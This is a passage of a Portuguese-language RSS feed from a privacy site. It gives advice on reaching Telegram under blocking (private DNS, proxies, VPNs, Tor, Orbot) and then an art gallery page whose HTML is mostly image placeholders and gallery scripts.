&lt;li>Versão K: &lt;a href="https://web.telegram.org/k/" target="_blank" rel="noopener noreferrer">https://web.telegram.org/k/&lt;/a>
&lt;/li>
&lt;li>Versão Z: &lt;a href="https://web.telegram.org/z/" target="_blank" rel="noopener noreferrer">https://web.telegram.org/z/&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Direto do código fonte (usuários avançados): &lt;a href="https://github.com/DrKLO/Telegram" target="_blank" rel="noopener noreferrer">https://github.com/DrKLO/Telegram&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="se-manipularem-o-dns">Se manipularem o DNS&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>Vá até as configurações do seu aparelho e busque por &amp;ldquo;DNS Privado&amp;rdquo;. Ou vá até &amp;ldquo;Mais configurações de conexão&amp;rdquo; ou &amp;ldquo;Configurações avançadas de conexão&amp;rdquo;.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Clique em &amp;ldquo;DNS Privado&amp;rdquo; e escolha a opção &amp;ldquo;Automático&amp;rdquo; ou em &amp;ldquo;Nome do host do provedor de DNS privado&amp;rdquo; e insira um destes hosts:&lt;/p>
&lt;ul>
&lt;li>Quad9 (da IBM): dns.quad9.net / dns11.quad9.net (com filtro anti conteúdo adulto)&lt;/li>
&lt;li>Cloudfare: 1dot1dot1dot1.cloudflare-dns.com&lt;/li>
&lt;li>OpenDNS (Cisco): doh.opendns.com / doh.familyshield.opendns.com (com filtro anti conteúdo adulto)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Se não funcionar - configure na rede do seu smartphone (somente Wifi):&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use aplicativos:&lt;/p>
&lt;ul>
&lt;li>DNSCloak (para Iphone): baixe da AppStore&lt;/li>
&lt;li>Nebulo (para Android): baixe da PlayStore&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Configure direto no seu roteador: &lt;a href="https://support.opendns.com/hc/en-us/sections/206253627" target="_blank" rel="noopener noreferrer">https://support.opendns.com/hc/en-us/sections/206253627&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Configure direto no Navegador &lt;a href="https://support.opendns.com/hc/en-us/articles/360038086532-Using-DNS-over-HTTPS-DoH-with-OpenDNS" target="_blank" rel="noopener noreferrer">https://support.opendns.com/hc/en-us/articles/360038086532-Using-DNS-over-HTTPS-DoH-with-OpenDNS&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Verifique se está configurado corretamente:
Acesse o site &lt;a href="https://www.dnsleaktest.com/" target="_blank" rel="noopener noreferrer">https://www.dnsleaktest.com/&lt;/a>
e clique em &amp;ldquo;Extended test&amp;rdquo;
&lt;strong>Deverá aparecer o IP do provedor de DNS e não do seu Provedor de Internet (Oi, Vivo, Tim, Claro e etc)&lt;/strong>&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="se-tentarem-banir-os-endereços-de-ip-dos-servidores-do-telegram">Se tentarem banir os endereços de IP dos servidores do Telegram&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>Use um dos proxies fornecidos pelo Telegram:
Canais de Proxy: &lt;a href="https://t.me/ProxyMTProto" target="_blank" rel="noopener noreferrer">https://t.me/ProxyMTProto&lt;/a>
e &lt;a href="https://t.me/proxyme" target="_blank" rel="noopener noreferrer">https://t.me/proxyme&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use uma VPN:
Não vou recomendar nenhuma. Faça sua própria pesquisa.
Este ranking de VPNs é um dos poucos confiáveis: &lt;a href="https://techlore.tech/vpnchart.html" target="_blank" rel="noopener noreferrer">https://techlore.tech/vpnchart.html&lt;/a>
Segundo o site, as melhores são: ProtonVPN, IVPN e Mullvad.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use o Tor Browser (para o Telegram versão Web). &lt;a href="https://www.torproject.org/download/" target="_blank" rel="noopener noreferrer">https://www.torproject.org/download/&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>User o Orbot. Este app encaminha o tráfego de aplicativos pela rede Tor, fazendo com que pareça que você está em outro país. Download pela Play Store ou F-Droid&lt;/p>
&lt;/li>
&lt;li>
&lt;p>NO IPHONE: Por precaução, adicione o Telegram-Webk no seu iPhone, para o caso dos governos bloquearem o acesso, ou mesmo a Apple remover o App da sua App Store!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>No Safari, abra o endereço webk.telegram.org&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Faça o seu login e autorize no App original&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Depois que fez o login e consegue ver todas as suas conversas, clique no botão “compartilhar”&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Adicione o WebK na tela de início escolhendo a opção “Adicionar à Tela de Início”&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Agora foi adicionado um ícone na sua tela com o logo do Telegram, que você poderá utilizar exatamente como o App nativo! Deste modo você poderá sempre acessar seu Telegram!&lt;/p>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>Fonte:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/channel/UC4BrnREinCBUenQZi4ZU95w" target="_blank" rel="noopener noreferrer">CyberDef - YouTube&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://t.me/CYBERDEF_OFICIAL" target="_blank" rel="noopener noreferrer">CyberDef - Telegram&lt;/a>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Artes</title><link>https://cypherpunks.com.br/artes/</link><pubDate>Sat, 29 Jan 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/artes/</guid><description>Galeria de artes enviadas ao projeto. Use-as como bem entender Contribua enviando suas artes para o projeto. As presentes no repositório, no site e as que você enviar estarão licensiadas como Domínio Público . Envie as artes pelo repositório de artes do projeto</description><content:encoded>&lt;h3 id="galeria-de-artes-enviadas-ao-projeto-use-as-como-bem-entender">Galeria de artes enviadas ao projeto. Use-as como bem entender&lt;/h3>
&lt;h5 id="contribua-enviando-suas-artes-para-o-projeto-as-presentes-no-repositório-no-site-e-as-que-você-enviar-estarão-licensiadas-como-domínio-públicohttpsenwikipediaorgwikipublic_domain">Contribua enviando suas artes para o projeto. As presentes no repositório, no site e as que você enviar estarão licensiadas como &lt;a href="https://en.wikipedia.org/wiki/Public_domain" target="_blank" rel="noopener noreferrer">Domínio Público&lt;/a>
.&lt;/h5>
&lt;h6 id="envie-as-artes-pelo-repositório-de-artes-do-projetohttpsgithubcomcypherpunksbrartes">Envie as artes pelo &lt;a href="https://github.com/cypherpunksbr/artes" target="_blank" rel="noopener noreferrer">&lt;code>repositório de artes do projeto&lt;/code>&lt;/a>
&lt;/h6>
&lt;hr>
&lt;script src="https://cypherpunks.com.br/shortcode-gallery/jquery-3.6.0.min.js">&lt;/script>
&lt;script src="https://cypherpunks.com.br/shortcode-gallery/lazy/jquery.lazy.min.js">&lt;/script>
&lt;script src="https://cypherpunks.com.br/shortcode-gallery/swipebox/js/jquery.swipebox.min.js">&lt;/script>
&lt;link rel="stylesheet" href="https://cypherpunks.com.br/shortcode-gallery/swipebox/css/swipebox.min.css">
&lt;script src="https://cypherpunks.com.br/shortcode-gallery/justified_gallery/jquery.justifiedGallery.min.js">&lt;/script>
&lt;link rel="stylesheet" href="https://cypherpunks.com.br/shortcode-gallery/justified_gallery/justifiedGallery.min.css"/>
&lt;style>
.jg-entry img {
transition: transform .25s ease-in-out !important;
}
.jg-entry img:hover {
transform: scale(1.1);
}
&lt;/style>
&lt;div id="gallery-0-wrapper" class="gallery-wrapper">
&lt;div id="gallery-0" class="justified-gallery">
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/windows-dont-mean.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APOISNwzWjbLvV9o6EZY9FGeSazI&amp;#43;orQtLjySzxyrG4BwWweqkdD9a67u2gmtScMcHIAw2OKaz8UtzLEcGJ0I6kKelVWk4rSMnyq5m1qUI&amp;#43;tGAWOQKI&amp;#43;tH8RrE3JoQADgYpzUkPQ0rVa2I6n/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/windows-dont-mean_hu7ef259a98faf1220f1d040a3be1ba107_849694_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/venezian-mask.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APOkhW&amp;#43;b/W7SkajLDjgAHP64&amp;#43;lOs72PS9SjuoIBMsZUr5owc8ZI59ajto55MJC8WWGMM6r/Or9hpa4mjuJ1hdlAK434U9&amp;#43;D617HJz25VqUk3sWo7v7HfHUo/m&amp;#43;0RTHLMFXnp0GM89MAZrJuUnjUSTwqqzcoNpG0ZJwCe3NXoNNieyu5JZJIxaDDBBu3nPBIJ9xTtVuf7Q0qGcTBY0fYIvL2jIHbr/OtJRaTvuW07amHk5znmtzTyRFvB&amp;#43;Z2j3HueT1rD71t2H&amp;#43;oX/fi/majDfETS3N7wyA17qSsMgjBB78CqWoIqaXcqihVBfAAwBzV7wx/x/wCo/wCewqnqX/IOuvq/869P7U/67nWvhfzP/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/venezian-mask_hua205a275b390f35a864b6804e99177cf_5713128_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/underwater.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/ALEBKObdxhJz98tjnsPzxTPKSJpImLCaXIBZ&amp;#43;QMd/TrUsNxDDbmSVcyFtoON2D61VkkgYyTJMu7gKQSS3HOQeQKo88y7mxuwCYLfz2LYCIwyOvPoBxV2zupdQhJlhbzY1w7LnaeOM7scg9e3FZd3pt0l5DdxTyxoDucjlcZHI9h3HXjtmmadfSw3kqZjRLgkHzXUKw/Hmq3HZWNjU2YSYDHGGPX60zUFVHDKoVmxkgcmnan/AK0fRv60mo9V/ChdCTNs/n1oK3zKycg8g8Co7xFLwOVG4ljnHP3jUlj/AMh1f&amp;#43;uf9BTbvrB9W/8AQmpl9T//2Q=="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/underwater_huad8f754d9fe3f27d1a94f134e739f20d_6944460_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/trash-pc-cypher.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOMazhlh3280ZdcrnGMj6VJGyxW8gKK04j/coSRtbI&amp;#43;Y57Y7VFAp8xY8BFxkLuyfzq/PpctrLJL9qAWdQdoPLA4OCew4r2ZqpJpwXk/8&amp;#43;59R7NqPNThq9G7v8L/15CLaXl1Ab/aFl&amp;#43;Z5lRh83t19hxWDNb3VwXWZPLZ2EhZ/lwvfn/GtV5LaC0kF0bjcjDCxAFQD03EkYPB6A/WmS3cN0m6ODERXb9T/APrrk5YSnJVHZ/mYOpCq3fRrdd&amp;#43;nbT&amp;#43;mTbQlnC6AKxiGSOCeKdbkvbSB/mAZODz3FI3/AB4wf9ch/Ki0/wCPeT/fX&amp;#43;Yre1pNLsvyPYrpc1P0f5HXaDa2895d&amp;#43;dbxSbQm3egOPpXNa6ii5ugFAAnOMDpzXVeHP&amp;#43;Py9&amp;#43;iVy2vf8fV3/wBdz/OssRtL1Qrfv5/4f0P/2Q=="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/trash-pc-cypher_hu35176c9e47e8d24bdea6ec4196e8dfaa_3471991_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/stJudes.png"
class="galleryImg"
>
&lt;img
width="106" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAFwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/ALN9f6jb6lcv9pmMYlYInmnHXgYrJn8T65bTYMglXqVVmBUfXNM8Q3sn9qXgTPlwSMXYdstVSDxPaRIYltJpspwQAP1616miWp2csVHU6vQfEi3Wp20Mk8vmylgYS5OMKTn6cV2H2gf7VeReGZ5J/HVgzWjwZ83k9/3bcdK9U5rGdr6HJWSUtDyEX1wPFuo2z4ZDdS9fTea2Pt0cRlhY7VQ8bVz1Hp&amp;#43;dZOq6Lqf9t39xDpl5l7iT5kt5ORuPIPeoP7J1eVvMOmX4bAB/0aQZFXGWljqjNWsy94VvDe&amp;#43;N7KQk5LynB/65kf0r1XFeX&amp;#43;DtKv4PFdnLLpV5Cil8ySW7qB&amp;#43;7Yck&amp;#43;/wDOvUfKf&amp;#43;435VnJ3Zy1neR//9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/stJudes_huc28febed86a98c18c8019eb62f27df99_2844193_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/runner-eyes.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APOJrbT7dZ0a8aaUD90YVyh&amp;#43;uf8AP8qLkahfWIvriUSRxkIMsMj8KgF3ixa1&amp;#43;zwHcwbzSn7wewPpWhpekWmuarp&amp;#43;m2M8kc1wwWVp8bQc/wAO0E9PWtjMrRxwWctpcbob/f8AM1v83Bz90/8A1vX8ka1iLXTXUn2GVBujt2ibLnPT2qXV5reC6NnZGF4rWQiO5SIpJJg8Fveq0OpXMd2bp2E8pBBab5/50wKnpWv4fJU37g4dbQ7WHUZdFOPqCR9CayB2rX0D7uo/9ef/ALVjpAV9dJOvaiScn7VL/wChmqFXtc/5D2o/9fUv/oRqhQB//9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/runner-eyes_hu23c3da35289abeed1969014dd5fdfa6a_148397_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/rebels-with-a-cause.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AMP&amp;#43;yZj4cbXY7tAschQwGMYOCOrZzn8KpG/hRA8hjX2I/wDr1S1CW80vT5dMvFJMzLMNshwpx3HQ1Y8H6lp66hNHq1pHcLLbOsSum4FuD07EgEA&amp;#43;9eisUrzb17EOpKV3cvWkc2os8dkIXKRNKzO2wBRjnJ&amp;#43;tUPtp28ttPocZ/nUHhvU3ttZKW959hSeOSJnZN&amp;#43;VY8DHr0/Ko5NPm3TRW93FMltl5ZckDG7AGe557ce9XHGJSbe1vxGqso9Rmpu5s7MliSbUgnPUbj/hWOpIkXBrW1L/jxsv&amp;#43;vZv/AEM1kD7615ZKHkAy8jOAavauoS9aNQFQRxkKOAPlHaqP/LU/Q1e1n/kIv/1zi/8AQBQLqf/Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/rebels-with-a-cause_hubcf51e6eb7972dff0e3cd464fc9e38bd_3144672_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/people-cypher.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APLpUmiWKB4gJy5G0tyDxgHPT1645qxpghi1SGK&amp;#43;XlzjB4256VFPdCSwEM8oNzFNgRun3RyDzU8lq91CJRFuuN6hmLZwpHH&amp;#43;NdD3uiPUm1HT7a3tgsYAeOQ7yoyT079D/jVG2aKeKeHJCn5o/Zh0z&amp;#43;eKvagsdlPL9ncZfJZSc8k5B9vcCq1vA8uoLDGUZpYsgMuM4HfuDkdaa3EZcrFryRmJJLnJPfmti3JD6kueBggf8DFYz/8AH0/&amp;#43;&amp;#43;f51sW/&amp;#43;s1P/AD/GKVPf&amp;#43;vMciFQJEvWcbj5ecnn&amp;#43;IUtn8t9aMODvAyKI/wDVXv8A1y/9mFFp/wAftp/10FUt1/XUR//Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/people-cypher_huf4f89b51d0e61503fe13f1f4dc7bb9c2_1554268_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/ocean-pc.png"
class="galleryImg"
>
&lt;img
width="69" height="150"
style="filter: blur(25px);"
